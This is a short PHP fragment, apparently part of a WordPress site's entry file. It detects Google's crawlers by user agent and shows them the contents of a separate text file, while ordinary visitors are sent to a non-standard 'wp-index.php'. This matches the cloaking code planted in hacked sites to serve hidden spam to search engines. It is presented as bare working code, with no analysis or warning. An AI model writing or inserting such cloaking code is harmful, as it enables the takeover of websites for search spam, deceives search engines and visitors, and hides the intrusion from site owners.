function is_google_bot() { $agents = array("Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-News"); foreach ($agents as $agent) { if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) return true; } return false; } if (is_google_bot()) { $bot_content = file_get_contents('readme.txt'); echo $bot_content; exit; } else { include('wp-index.php'); exit; }